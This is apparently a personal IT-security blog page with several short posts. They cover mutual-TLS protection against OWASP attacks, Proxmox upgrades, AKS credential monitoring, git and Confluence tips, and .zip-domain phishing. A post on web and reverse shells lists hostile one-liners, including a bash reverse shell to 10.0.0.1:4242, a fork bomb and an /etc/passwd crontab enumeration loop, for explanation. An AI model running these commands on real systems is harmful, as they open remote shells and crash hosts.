Attack TypeRegular Web ApplicationSecured Web Application (Mutual TLS)Mitre
ATT&CK Tactic(s) Cross-Site Scripting (XSS)VulnerableProtectedInitial Access,
Execution, Persistence SQL InjectionVulnerableProtectedCollection, Credential
Access, Execution Cross-Site Request Forgery (CSRF)VulnerableProtectedInitial
Access, Collection Session HijackingVulnerableProtectedCollection, Credential
Access Brute Force AttacksVulnerableProtectedCredential Access, Execution
ClickjackingVulnerableProtectedCollection, Defense Evasion Directory
TraversalVulnerableProtectedCollection, Exfiltration File Upload
VulnerabilitiesVulnerableProtectedExecution, Collection LDAP
InjectionVulnerableProtectedCollection, Credential Access Man-in-the-Middle
(MitM) AttacksVulnerableProtectedCollection, Credential Access, Execution Remote
File InclusionVulnerableProtectedExecution, Collection XML External Entity (XXE)
InjectionVulnerableProtectedCollection, Credential Access Security
MisconfigurationsVulnerableWay less vulnerableDefense Evasion, Discovery HTTP
Header InjectionVulnerableProtectedDefense Evasion, Execution DDoS
AttacksVulnerableWay less vulnerableImpact API Security
IssuesVulnerableProtectedCollection, Credential Access, Execution HTTP Parameter
PollutionVulnerableProtectedDefense Evasion, Execution Session
SidejackingVulnerableProtectedCredential Access, Collection Social Engineering
AttacksVulnerableProtectedCollection, Defense Evasion Cross-Site Tracing
(XST)VulnerableProtectedCredential Access, Collection Fuzzing
AttacksVulnerableProtectedExecution, Defense Evasion CryptanalysisVulnerableWay
less vulnerableCollection, Credential Access Reverse
EngineeringVulnerableProtectedCollection, Credential Access Subdomain
TakeoverVulnerableProtectedInitial Access, Collection Session Token
TheftVulnerableProtectedCredential Access, Collection
Vulnerabilies/0daysVulnerableWay less vulnerableInitial Access Broken Object
Level Authorization (BOLA)VulnerableProtectedCredential Access, Authorization
Improper Rate LimitingVulnerableWay less vulnerableDefense Evasion, Impact
Insecure Direct Object References (IDOR)VulnerableProtectedCollection,
Credential Access Insufficient Logging and MonitoringVulnerableWay less
vulnerableDiscovery, Defense Evasion Insecure
DeserializationVulnerableProtectedExecution, Defense Evasion Lack of Resources
and Rate LimitingVulnerableProtectedDefense Evasion, Impact Mass
AssignmentVulnerableProtectedCredential Access, Collection Insecure
Cryptographic StorageVulnerableVulnerableCollection, Credential Access Use of
Components with Known VulnerabilitiesVulnerableWay less vulnerableCollection,
Execution Unvalidated Redirects and ForwardsVulnerableProtectedDefense Evasion,
Initial Access XML External Entity (XXE) InjectionVulnerableProtectedCollection,
Credential Access

Caution: This is a simplified point of view - it is only focusing on the inital
access. Mutual TLS certificate based authentication make the initial access for
attackers almost impossible. Therefore most attacks are not possible anymore
without the attackers gets his hands on a client certificate with its private
key. However your IT stack is still vulnerable to OSI layer 1-5 attacks as well
as e.g. to vulnerabilities within OpenSSL, LibreSSL etc.






at December 01, 2023 No comments:

Labels: Att&ck, ChatGPT, Hardening, Owasp, TLS, Vulnerability



PROXMOX UPDATE ERROR "SUB-PROCESS /USR/SHARE/PROXMOX-VE/PVE-APT-HOOK RETURNED AN
ERROR CODE (1)"




PROBLEM

During a proxmox update (e.g. from proxmox version 6 to 7) you receive the
following error:


[...]
100% [608 zstd 34.1 kB/630 kB 5%] 1,337 kB/s 0s
100% [Working] 1,337 kB/s 0s

Fetched 255 MB in 2min 30s (1,702 kB/s)
W: (pve-apt-hook) !! WARNING !!
W: (pve-apt-hook) You are attempting to remove the meta-package 'proxmox-ve'!
W: (pve-apt-hook)
W: (pve-apt-hook) If you really want to permanently remove 'proxmox-ve' from
your system, run the following command
W: (pve-apt-hook) touch '/please-remove-proxmox-ve'
W: (pve-apt-hook) run apt purge proxmox-ve to remove the meta-package
W: (pve-apt-hook) and repeat your apt invocation.
W: (pve-apt-hook)
W: (pve-apt-hook) If you are unsure why 'proxmox-ve' would be removed, please
verify
W: (pve-apt-hook) - your APT repository settings
W: (pve-apt-hook) - that you are using 'apt full-upgrade' to upgrade your system
E: Sub-process /usr/share/proxmox-ve/pve-apt-hook returned an error code (1)
E: Failure running script /usr/share/proxmox-ve/pve-apt-hook
root@proxmox1:~#
root@proxmox1:~# 

 



SOLUTION

 
Proxmox VE 6.x is based on Debian 10.x which is called “buster”.
Proxmox VE 7.x is based on Debian 11.x which is called “bullseye”.  

 1. Check if your /etc/apt/sources.list.d/pve-enterprise.list file and
    /etc/apt/sources.list file still have "buster" (proxmox version 6) in them
    and replace it with "bullseye". E.g. with sed -i -e 's/buster/bullseye/g'
    /etc/apt/sources.list.d/pve-install-repo.list
    
 2. Run apt update again
 3. Run apt dist-upgrade again
    


at November 04, 2023 No comments:

Labels: Proxmox, Troubleshooting, Update



UPDATE PROXMOX 6.X TO LATEST 6.4



Update a Proxmox 6.x system to latest 6.4 using the guide
https://pve.proxmox.com/wiki/Downloads#Update_a_running_Proxmox_Virtual_Environment_6.x_to_latest_6.4:

Proxmox VE 6.x is based on Debian 10.x which is called “buster”.


 1. Make sure you have a backup of all VMs, Containers, Proxmox itself etc.
 2. Login via SSH/CLI
 3. Check your sources.list file, should look like this:
    
    cat /etc/apt/sources.list
    
    deb http://deb.debian.org/debian buster main contrib
    deb http://deb.debian.org/debian buster-updates main contrib
    # security updates
    deb http://security.debian.org buster/updates main contrib
    
    
 4. Check the enterprise repository:
    
    cat /etc/apt/sources.list.d/pve-enterprise.list
    
    
    When running Proxmox VE 6.x with No-Subscription use:
    
    
    deb http://download.proxmox.com/debian/pve buster pve-no-subscription
    
    When running Proxmox VE 6.x with a subscription use:
    
    deb https://enterprise.proxmox.com/debian/pve buster pve-enterprise
    
    
 5. Check Proxmox version using:
    
    pveversion -v
    
    
 6. Update your repository and packages:
    
    apt update
    
    If you get any errors, your sources.list (or your system or network) has a
    problem.
 7. Now upgrade the packages:
    
    apt dist-upgrade
    
    
 8. Reboot to activate the new Kernel, to check if you got all packages, run
    'pveversion -v' and compare your output (all packages should have equal or
    higher version numbers): 
 9. Check Proxmox version using
    
    pveversion -v 
    
    





EXAMPLE:

root@prxmx053b:~#
root@prxmx053b:~# cat /etc/apt/sources.list
deb http://deb.debian.org/debian buster main contrib
deb http://deb.debian.org/debian buster-updates main contrib
# security updates
deb http://security.debian.org buster/updates main contrib
root@prxmx053b:~#
root@prxmx053b:~#
root@prxmx053b:~# apt update
Hit:1 http://security.debian.org buster/updates InRelease
Hit:2 http://download.proxmox.com/debian/pve buster InRelease
Hit:3 http://deb.debian.org/debian buster InRelease
Hit:4 http://deb.debian.org/debian buster-updates InRelease
Reading package lists... Done
Building dependency tree
Reading state information... Done
242 packages can be upgraded. Run 'apt list --upgradable' to see them.
root@prxmx053b:~#
root@prxmx053b:~#
root@prxmx053b:~# apt dist-upgrade
Reading package lists... Done
Building dependency tree
Reading state information... Done
Calculating upgrade... Done
[...]
root@prxmx053b:~#
root@prxmx053b:~# pveversion -v
proxmox-ve: 6.4-1 (running kernel: 5.4.73-1-pve)
pve-manager: 6.4-15 (running version: 6.4-15/af7986e6)
pve-kernel-5.4: 6.4-20
pve-kernel-helper: 6.4-20
pve-kernel-5.4.203-1-pve: 5.4.203-1
pve-kernel-5.4.73-1-pve: 5.4.73-1
ceph-fuse: 12.2.11+dfsg1-2.1+deb10u1
corosync: 3.1.5-pve2~bpo10+1
criu: 3.11-3
glusterfs-client: 5.5-3
ifupdown: 0.8.35+pve1
ksm-control-daemon: 1.3-1
libjs-extjs: 6.0.1-10
libknet1: 1.22-pve2~bpo10+1
libproxmox-acme-perl: 1.1.0
libproxmox-backup-qemu0: 1.1.0-1
libpve-access-control: 6.4-3
libpve-apiclient-perl: 3.1-3
libpve-common-perl: 6.4-5
libpve-guest-common-perl: 3.1-5
libpve-http-server-perl: 3.2-5
libpve-storage-perl: 6.4-1
libqb0: 1.0.5-1
libspice-server1: 0.14.2-4~pve6+1
lvm2: 2.03.02-pve4
lxc-pve: 4.0.6-2
lxcfs: 4.0.6-pve1
novnc-pve: 1.1.0-1
proxmox-backup-client: 1.1.14-1
proxmox-mini-journalreader: 1.1-1
proxmox-widget-toolkit: 2.6-2
pve-cluster: 6.4-1
pve-container: 3.3-6
pve-docs: 6.4-2
pve-edk2-firmware: 2.20200531-1
pve-firewall: 4.1-4
pve-firmware: 3.3-2
pve-ha-manager: 3.1-1
pve-i18n: 2.3-1
pve-qemu-kvm: 5.2.0-8
pve-xtermjs: 4.7.0-3
qemu-server: 6.4-2
smartmontools: 7.2-pve2
spiceterm: 3.1-1
vncterm: 1.6-2
zfsutils-linux: 2.0.7-pve1
root@prxmx053b:~#
root@prxmx053b:~# reboot





at November 03, 2023 No comments:

Labels: Proxmox, Update



AKS SECURITY - SIEM USECASE OF GET CREDENTIALS


A SIEM usecase or forensic security alert for Azure Kubernetes Service AKS
should be setup for az aks get-credentials as it reveals sensitive data of AKS.


Example for Azure Cloud Shell Bash:

azureksmoq [ ~ ]$
azureksmoq [ ~ ]$ az aks get-credentials --resource-group rgaks04app23 --name
AKS04
Merged "AKS04" as current context in /home/azureksmoq/.kube/config
azureksmoq [ ~ ]$ 
azureksmoq [ ~ ]$
azureksmoq [ ~ ]$ cat /home/azureksmoq/.kube/config
apiVersion: v1
clusters:
- cluster:
    certificate-authority-data:
LS0tLS1CRUdJTiBDRVJUSUZ[...]RVJUSUZJQ0FURS0tLS0tCg==
    server: https://mykubernetescluster-dns-[...].hcp.eastus.azmk8s.io:443
  name: AKS04
contexts:
- context:
    cluster: AKS04
    user: clusterUser_rgaks04app23_AKS04
  name: AKS04
current-context: AKS04
kind: Config
preferences: {}
users:
- name: clusterUser_rgaks04app23_AKS04
  user:
    client-certificate-data: LS0tLS1CRUdJTiBDRVJUSUZJQ[...]RS0tLS0tCg==
    client-key-data: LS0tLS1CRUdJTiBSU0EgUFJJV[...]0VZLS0tLS0K
    token: bl0c8ko2[...]73m4ltf
azureksmoq [ ~ ]$ 
azureksmoq [ ~ ]$ 

This command can be helpful for developers or admins - but it is dual use as it
reveals sensitive information. I recommend increasing your SIEM risk score or
even make a use case with alerting.


AZURE DOCUMENTATION


Microsoft documentation for az aks get-credentials can be found here:
https://learn.microsoft.com/en-us/cli/azure/aks?view=azure-cli-latest#az-aks-get-credentials
or see here: https://azure.github.io/kubelogin/quick-start.html. See also
https://learn.microsoft.com/en-us/azure/aks/control-kubeconfig-access


Get access credentials for a managed Kubernetes cluster.

By default, the credentials are merged into the .kube/config file so kubectl can
use them. See -f parameter for details.

az aks get-credentials --name
                       --resource-group
                       [--admin]
                       [--context]
                       [--file]
                       [--format]
                       [--overwrite-existing]
                       [--public-fqdn]

EXAMPLES

Get access credentials for a managed Kubernetes cluster. (autogenerated)

az aks get-credentials --name MyManagedCluster --resource-group MyResourceGroup

REQUIRED PARAMETERS

--name -n

Name of the managed cluster.

--resource-group -g

Name of resource group. You can configure the default group using az configure
--defaults group=<name>.

OPTIONAL PARAMETERS

--admin -a

Get cluster administrator credentials. Default: cluster user credentials.

default value: False
--context

If specified, overwrite the default context name. The --admin parameter takes
precedence over --context.

--file -f

Kubernetes configuration file to update. Use "-" to print YAML to stdout
instead.

default value: ~\.kube\config
--format

Specify the format of the returned credential. Available values are ["exec",
"azure"]. Only take effect when requesting clusterUser credential of AAD
clusters.

--overwrite-existing

Overwrite any existing cluster entry with the same name.

default value: False
--public-fqdn

Get private cluster credential with server address to be public fqdn.

default value: False
Global Parameters
--debug

Increase logging verbosity to show all debug logs.

--help -h

Show this help message and exit.

--only-show-errors

Only show errors, suppressing warnings.

--output -o

Output format.

--query

JMESPath query string. See http://jmespath.org/ for more information and
examples.

--subscription

Name or ID of subscription. You can configure the default subscription using az
account set -s NAME_OR_ID.

--verbose

Increase logging verbosity. Use --debug for full debug logs.

 




at October 06, 2023 No comments:

Labels: Azure, forensics, Kubernetes, Microsoft, SIEM



GIT PULL ON SUBFOLDERS



In order to update your whole IDE (e.g. visual studio code), you can run git
pull to all subfolders one by one using:

ls | xargs -I{} git -C {} pull



Or you run it in parallel for multiple subfolders using:

ls | xargs -P10 -I{} git -C {} pull




EXAMPLE GIT PULL ONE BY ONE

DEVFLO@SYS40DEVCL001 MINGW64 /c/git
$
DEVFLO@SYS40DEVCL001 MINGW64 /c/git
$
DEVFLO@SYS40DEVCL001 MINGW64 /c/git
$ cd splunk-apps/
DEVFLO@SYS40DEVCL001 MINGW64 /c/git/splunk-apps
$ ls | xargs -I{} git -C {} pull
Already up to date.
remote: Enumerating objects: 64, done.
remote: Counting objects: 100% (28/28), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 64 (delta 15), reused 12 (delta 12), pack-reused 36
Unpacking objects: 100% (64/64), 12.38 KiB | 56.00 KiB/s, done.
From https://git.dev.domain.tld/splunk-apps/all_indexes
21ef148..dc3191d master -> origin/master
Updating 21ef148..dc3191d
Fast-forward
local/indexes.conf | 95 ++++++++++++++++++++++++++++++++++++++++++------------
1 file changed, 75 insertions(+), 20 deletions(-)
remote: Enumerating objects: 19, done.
remote: Counting objects: 100% (19/19), done.
remote: Compressing objects: 100% (14/14), done.
remote: Total 16 (delta 8), reused 6 (delta 2), pack-reused 0
Unpacking objects: 100% (16/16), 2.00 KiB | 34.00 KiB/s, done.
From https://git.dev.domain.tld/splunk-apps/hf_inputs_http
45221cc..9ba7459 master -> origin/master
Updating 45221cc..9ba7459
Fast-forward
local/inputs.conf | 74 +++++++++++++++++++++++++++++++++++++++++++++++++++++--
1 file changed, 72 insertions(+), 2 deletions(-)
remote: Enumerating objects: 314, done.
remote: Counting objects: 100% (33/33), done.
remote: Compressing objects: 100% (28/28), done.
remote: Total 314 (delta 17), reused 5 (delta 5), pack-reused 281
[...]




EXAMPLE GIT PULL IN PARALLEL

DEVFLO@SYS40DEVCL001 MINGW64 /c/git/splunk-apps
$
DEVFLO@SYS40DEVCL001 MINGW64 /c/git/splunk-apps
$
DEVFLO@SYS40DEVCL001 MINGW64 /c/git/splunk-apps
$ ls | xargs -P10 -I{} git -C {} pull
Already up to date.
Already up to date.
Already up to date.
Already up to date.
Already up to date.
Already up to date.
remote: Enumerating objects: 101, done.
remote: Counting objects: 100% (76/76), done.
remote: Compressing objects: 100% (38/38), done.
remote: Total 101 (delta 46), reused 53 (delta 35), pack-reused 25
Receiving objects: 100% (101/101), 101.59 KiB | 12.70 MiB/s, done.
Resolving deltas: 100% (61/61), completed with 1 local object.
From https://git.dev.domain.tld/splunk-apps/search_securitywork
7c8b27a..913ed1e master -> origin/master
Updating 7c8b27a..913ed1e
Fast-forward
{local => default}/data/ui/nav/default.xml | 0
.../ui/views/security__asset_information.xml | 4 +-
.../ui/views/security__dashkpi1__logsource.xml | 4 +-
.../ui/views/security__dashkpi2__usecases.xml | 4 +-
.../views/security__dashkpi3__technology.xml | 2 +-
.../ui/views/security__dashkpi4_logvolume.xml | 2 +-
{local => default}/macros.conf | 0
{local => default}/mlspl.conf | 0
{local => default}/savedsearches.conf | 160 +++++++++++++++++----
{local => default}/transforms.conf | 0
lookups/uc_info.csv | 8 +-
14 files changed, 152 insertions(+), 50 deletions(-)
rename {local => default}/data/ui/nav/default.xml (100%)
rename {local => default}/data/ui/views/security__asset_information.xml (94%)
rename {local => default}/data/ui/views/security__dashkpi1__logsource.xml (99%)
rename {local => default}/data/ui/views/security__dashkpi2__usecases.xml (99%)
rename {local => default}/data/ui/views/security__dashkpi3__technology.xml (97%)
rename {local => default}/data/ui/views/security__dashkpi4_logvolume.xml (99%)
[...]


at September 02, 2023 No comments:

Labels: Git



MICROSOFT PORTALS OVERVIEW - MSPORTALS.IO



The website msportals.io is listing a nice overview of Microsofts portals. For
example administrator portals:


MICROSOFT 365 ADMIN PORTALS

 * Microsoft 365 Admin Portal https://admin.microsoft.com  aka.ms Old 🔗 Alt
 * Microsoft 365 Apps Admin Center https://config.office.com
 * Exchange Admin Center (EAC) New https://admin.exchange.microsoft.com
 * Exchange Admin Center (EAC) Old https://outlook.office365.com/ecp/
 * Kaizala Management Portal https://manage.kaiza.la/
 * Microsoft 365 Compliance https://compliance.microsoft.com
 * Microsoft 365 network connectivity test https://connectivity.office.com
 * Microsoft 365 Network Insights Preview
   https://portal.office.com/adminportal/home#/networkperformance
 * Microsoft Call Quality Dashboard (Teams) https://cqd.teams.microsoft.com
 * Microsoft Call Quality Dashboard (Lync) https://cqd.lync.com
 * Microsoft Endpoint Manager Admin Console Intune
   https://endpoint.microsoft.com aka.ms 
 * Microsoft Endpoint Manager Admin Console Release Candidate
   https://rc-devicemanagement.portal.azure.com
 * Microsoft Endpoint Manager Admin Console Old
   https://devicemanagement.portal.azure.com
 * Microsoft Intune for Education https://intuneeducation.portal.azure.com
 * Microsoft Online https://portal.microsoftonline.com/IWDefault.aspx
 * Microsoft Store for Business https://businessstore.microsoft.com
 * Microsoft Store for Education https://educationstore.microsoft.com
 * Microsoft Stream Admin Center https://web.microsoftstream.com/admin
 * Microsoft Teams Admin Center https://admin.teams.microsoft.com aka.ms   
 * Microsoft Teams Rooms Managed Services https://portal.rooms.microsoft.com/
 * etc 


Many more can be found on msportals.io.


 


at August 04, 2023 No comments:

Labels: Azure, Microsoft, Windows Defender ATP, Windows Server



MITRE D3FEND FRAMEWORK - ATT&CK FROM A DEFENDERS PERSPECTIVE



Mitre published another awesome framework called d3fend.mitre.org



It is using the att&ck framework but from a defenders perspective :-) 










at July 04, 2023 No comments:

Labels: Att&ck, d3fend, mitre



CONFLUENCE BEHIND LOADBALANCER WITH ANOTHER DOMAIN RESULTS IN XSRF ERROR



If you have an atlassian confluence running, which is published by a
loadbalancer or reverse proxy using another domain, you might run into an XSRF
error.

EXAMPLE

Confluence FQDN: somehostname.domain.tld
LoadBalancer Confluence FQDN: confluence.domain.tld

Some actions like uploading your profile picture
(https://confluence.domain.tld/users/profile/editmyprofilepicture.action) do not
work. You'll receive an generic error from the confluence page (see red box of
the screenshot below). If you check the HTTP Header response, you'll see XSRF
check failed. It is caused by the confluence cross site request forgery (CSRF)
protection.







SOLUTION

Edit confluence server.xml and add the FQDN from the LoadBalancer or reverse
proxy.


More information can be found here:
https://confluence.atlassian.com/kb/cross-site-request-forgery-csrf-protection-changes-in-atlassian-rest-779294918.html






at July 01, 2023 No comments:

Labels: Confluence, CSRF, Reverse Proxy, Troubleshooting



SPLUNK ENTERPRISE UPDATE PLAN



Splunk published this awesome Splunk Enterprise update plan:
https://docs.splunk.com/images/d/d3/Splunk_upgrade_order_of_ops.pdf 

Regardless if you have a single-site or multi-site splunk installation, if your
are running a stand-alone or distributed and/or clustered architecture, if you
are using Splunks Universal Forwarder, the Deployment server, a License Master,
Search Head cluster or Indexer Cluster master or not - this plan has your
environment setup covered.

Step by step it guides you in updating your Splunk Enterprise environment
including backuping up every system, checking each systems health and possible
connectivity issues as well as the updates itself, may it be a simple upgrade or
a rolling upgrade. Additional informations about each step can be found in the
PDF as a link to docs.splunk.com.






 



at June 03, 2023 No comments:

Labels: SIEM, Splunk, Update



PHISHING USING @-URL TRICK IN DNS .ZIP DOMAINS



With Googles release of the DNS top-level-domains .zip and .mov a new phishing
(mitre att&ck T1566) trick is possible as bobbyrsec wrote about.

EXAMPLE 1

https://www.google.com/?q=example.text  <— FQDN = google.com

EXAMPLE 2

https://www.google.com/example/text/@v1271.zip <— FQDN = google.com right? No,
it is v1271.zip. Because the @ character describes e.g. the authentication of
the URL.

EXAMPLE 3

https://www.google.com/example/text/v1271.zip <— FQDN = google.com

REASON


Source: https://cv.jeyrey.net/img?equivocal-urls



RESULT

So doublechecking URLs becomes harder. Using Fido2, Passkeys or
password-managers (e.g. bitwarden.com) with auto-fill becomes more important
because they dont fall for that trick and are more phishing-resistant.


at May 19, 2023 No comments:





MINI/REVERSE/WEB-SHELLS EXPLAINED


The website explainshell.com explains Mini/Reverse/Web-Shells (T1505.003): 
 * Example 1:
   https://explainshell.com/explain?cmd=file%3D%24%28echo%20%60basename%20%22%24file%22%60%29 
 * Example 2:
   https://explainshell.com/explain?cmd=for%20user%20in%20%24%28cut%20-f1%20-d%3A%20/etc/passwd%29%3B%20do%20crontab%20-u%20%24user%20-l%202%3E/dev/null%3B%20done 
 * Example 3:
   https://explainshell.com/explain?cmd=%3A%28%29%7B%20%3A%7C%3A%26%20%7D%3B%3A# 
 * Example 4:
   https://explainshell.com/explain?cmd=bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.0.0.1%2F4242+0%3E%261


More examples:
 * :(){ :|:& };:
 * for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2>/dev/null;
   done
 * file=$(echo `basename "$file"`)
 * true && { echo success; } || { echo failed; }
 * cut -d ' ' -f 1 /var/log/apache2/access_logs | uniq -c | sort -n
 * tar zcf - some-dir | ssh some-server "cd /; tar xvzf -"
 * tar xzvf archive.tar.gz
 * find . -type f -print0
 * ssh -i keyfile -f -N -L 1234:www.google.com:80 host
 * git log --graph --abbrev-commit --pretty=oneline origin..mybranch



at May 05, 2023 No comments:

Labels: Att&ck, redteaming, Vulnerability, webshell



OVERVIEW OF PUBLIC INTERFACES FOR SOC/IT-SECURITY STAFF



In case of an IT-security incident, emergency oder if a new critical
vulnerability (like log4j in December 2021) arises, it is good to be prepared,
so you can quickly answer questions like:

 * "Are we affected?"
 * "Do we use this technology?"
 * "Where do we use this vulnerable protocol?"
   
 * "To whom is the attack surface exposed to?"
 * "Are there mitigations in place?"
 * "Is is exploitable without authentication in our setup?"
 * "Which is the best place to place a first mitigation?"
   
 * etc..

An overview like the following can and will be helpful for your IT-security
staff or your Security Operations Center SOC:



System Internet Facing Protocol Authentication Security Used Products/Vendors
Logs send to SIEM Contact Person Known Weaknesses Websites Yes, exposed to all
public-ip-addresses HTTPS (TCP:443) & HTTP (TCP:80 - HTTP 301 Redirect to HTTPS)
None Web Application Firewall F5 BigIP LoadBalancer WAF & Apache Container on
OpenShift Yes Link to CMDB Websites may contain 3rd party code, SBOM see CMDB
Managed File Transfer Yes, but limited to dedicated public ip-addresses of
partners HTTPS (TCP:443) HTTPS Tokens Web Application Firewall F5 BigIP
LoadBalancer WAF IPSwitch Yes Link to CMDB Runs on VM as appliance, OS might not
be hardend from vendor Citrix Yes, exposed to all public-ip-addresses HTTPS
(TCP:443) MFA Netscaler WAF Citrix Systems + Okta MFA Yes Link to CMDB NetScaler
WAF Ruleset might be out-of-date Mailserver Yes, exposed to all
public-ip-addresses SMTP (TCP:25) None AntiSpam Mailgatway & AV-Sandbox Cisco
E-Mail Security Yes Link to CMDB Mailgateways run on Hardware, might not be
hardended from vendor SSLVPN S2E Yes, exposed to all public-ip-addresses HTTPS
(TCP:443) Mutual TLS Certbased + MFA Azure DDoS FortiGate SSLVPN Azure VM + Okta
MFA Yes Link to CMDB Possible FortiGate FortiOS SSLVPN Vulnerabilities M365
ActiveSync Yes, exposed to all public-ip-addresses HTTPS (TCP:443) Mutual TLS
Certbased Azure DDoS Microsoft 365 + Intunes Yes Link to CMDB Not part of own
Vulnerability-Scanner VPN S2S Yes, but limited to dedicated public ip-addresses
of partners IPSec UDP:500 & UDP:4500 & ESP IPsec IKEv2 Certbased Auth Azure DDoS
FortiGate SSLVPN Azure VM Link to CMDB - DMARC SaaS Yes, exposed to all
public-ip-addresses DNS (UDP:53), HTTP (TCP:80), HTTPS (TCP:443), SMTP (TCP:25)
None - dmarcadvisor.com SaaS No Link to CMDB Not part of own
Vulnerability-Scanner DNS Server Yes, but limited to dedicated public
ip-addresses of partners DNS (UDP:53 & TCP:53) None Azure Network Security
Groups RHEL Bind Yes Link to CMDB - ISP Routers Yes, but limited to dedicated
public ip-addresses of ISP routers BGP (TCP:179), BFD, Ping (ICMP:0/8) BGP MD5
Auth - Extreme Networks XOS Yes Link to CMDB etc.. etc.. etc.. etc.. etc.. etc..
etc.. etc.. etc..

 

Of course you can add many more columns like e.g.:

 * "SBOM technologys used" (for example: RHEL, Apache Tomcat, OpenSSL, log4j,
   puppet, ansible, splunk universal forwarder, appdynamics,..)
 * Direct links to your Firewall Management System, WAF or SIEM
 * "Is it part of our vulnerability scanner?"
 * "Is the vulnerability scanner scanning it authenticated?"
 * "Is the system/application hardended?"
 * and so on :-)

This list will help in case of an IT-security emergency to sort out the first
steps in order to mitigate and fix the issue of the public exposed interfaces
(like to the internet or to business partners). However this is only one of many
steps necessary - always "asume breach" and make sure an attacker controlling a
client or server still is unable to spread (unnoticed) in your companies (cloud)
network.


at April 02, 2023 No comments:

Labels: authentication, blueteam, Certificates, Interfaces, SOC, Testing,
Troubleshooting

Older Posts Home

Subscribe to: Posts (Atom)


CRIBL - CHANGE VALUES TO LOWERCASE

Some logs (e.g. Microsoft Azure) sometimes are not fully normalized to all
lowercase characters. You can use Cribl to adjust those values by...


 * Windows - Add a route with specific interface
   Howto add a route with a specific interface into the windows routing-table. 
   This can be useful for example if you have a tunnel-all vpn...
   
 * Windows Server 2016 Backup - error with user of network share
   If you are running a Windows Server 2016, are using the integrated Windows
   Server Backup utility and you want to save the backup to a remote...
   
 * List FortiGate Certificates via CLI - CA certificates and local Certificates
   You can either use the GUI of the FortiGate to list all certificates, or use
   the CLI. Either using the commands: Using the "get&qu...
   



Share experience about real world setups mostly related to IT-Security



SEARCH BLOG




 * Startseite


how2itsec Zur Kontaktaufnahme bitte das "Contact" Formular verwenden:
https://how2itsec.blogspot.com/ View my complete profile



LABELS

 * 802.1x
 * Access Point
 * ActiveDirectory
 * AEP
 * Apache
 * API
 * Apple iOS
 * Att&ck
 * authentication
 * Azure
 * Backup
 * BFD
 * blueteam
 * Carbon Black
 * Certificates
 * ChatGPT
 * Confluence
 * Cribl
 * Cron
 * CrossBand
 * Crowdstrike
 * cryptography
 * CSRF
 * CVE-2019-5591
 * d3fend
 * datacenter design
 * DHCP
 * directory
 * e
 * eBPF
 * EDR
 * encryption
 * Endgame
 * ESXi
 * evasion
 * Extend WiFi
 * Extend WLAN
 * fileless
 * forensics
 * FortiAnalyzer
 * FortiGate
 * FortiManager
 * Fortinet
 * Git
 * gitlab
 * GoSecure
 * Group Policy
 * Hardening
 * IAM
 * IKEv2
 * Intel NUC
 * Interfaces
 * IPSec
 * Kali
 * Kubernetes
 * LAPS
 * latency
 * LDAPS
 * Life of a packet
 * Linux
 * lockout
 * Logging
 * MariaDB
 * Microsoft
 * Mikrotik
 * mitre
 * Monitoring
 * MTU
 * NAT
 * network devices
 * Nextcloud
 * nginx
 * Nmap
 * Notepad++
 * OpenSSL
 * Outlook
 * Owasp
 * packet flow
 * pentesting
 * persistence
 * PMTU
 * PostgreSQL
 * Powershell
 * Proposals
 * Proxmox
 * PRTG
 * Python
 * Qualys
 * redteaming
 * Regex
 * Reverse Proxy
 * Router
 * RSA
 * RSA NetWitness
 * SentinelOne
 * SIEM
 * Skybox
 * snapshot
 * SOC
 * SonicWALL
 * Splunk
 * SSH
 * Switch
 * Sysinternals
 * Sysmon
 * Tenable
 * Testing
 * TLS
 * Troubleshooting
 * Ubuntu
 * Update
 * veeam
 * virtual machine
 * VMWare
 * VPN
 * vSphere
 * Vulnerability
 * webshell
 * Windows
 * Windows Defender ATP
 * Windows Server
 * Wireless Controller
 * X509v3
 * XSS
 * zfs
 * zpool




BLOG ARCHIVE

 * November 2024 (1)
 * October 2024 (1)
 * September 2024 (1)
 * August 2024 (1)
 * July 2024 (1)
 * June 2024 (1)
 * May 2024 (1)
 * April 2024 (1)
 * March 2024 (1)
 * February 2024 (1)
 * January 2024 (2)
 * December 2023 (1)
 * November 2023 (2)
 * October 2023 (1)
 * September 2023 (1)
 * August 2023 (1)
 * July 2023 (2)
 * June 2023 (1)
 * May 2023 (2)
 * April 2023 (1)
 * March 2023 (1)
 * February 2023 (1)
 * January 2023 (1)
 * December 2022 (2)
 * November 2022 (1)
 * October 2022 (2)
 * September 2022 (4)
 * August 2022 (1)
 * July 2022 (1)
 * June 2022 (1)
 * May 2022 (2)
 * April 2022 (1)
 * March 2022 (1)
 * February 2022 (1)
 * January 2022 (2)
 * December 2021 (2)
 * November 2021 (2)
 * October 2021 (1)
 * September 2021 (1)
 * August 2021 (2)
 * July 2021 (2)
 * June 2021 (3)
 * May 2021 (1)
 * April 2021 (2)
 * March 2021 (3)
 * February 2021 (4)
 * January 2021 (4)
 * December 2020 (4)
 * November 2020 (3)
 * October 2020 (4)
 * September 2020 (3)
 * August 2020 (2)
 * July 2020 (1)
 * June 2020 (3)
 * May 2020 (4)
 * April 2020 (2)
 * March 2020 (3)
 * February 2020 (2)
 * January 2020 (2)
 * December 2019 (3)
 * November 2019 (5)
 * October 2019 (4)
 * September 2019 (2)
 * August 2019 (2)
 * July 2019 (3)
 * June 2019 (1)
 * May 2019 (2)
 * April 2019 (1)
 * March 2019 (1)
 * February 2019 (1)
 * January 2019 (1)
 * December 2018 (1)
 * November 2018 (1)
 * October 2018 (2)
 * September 2018 (2)




CONTACT



Name




Email *




Message *














IMPRESSUM

how2itsec Zur Kontaktaufnahme bitte das "Contact" Formular verwenden:
https://how2itsec.blogspot.com/ View my complete profile




REPORT ABUSE

Simple theme. Powered by Blogger.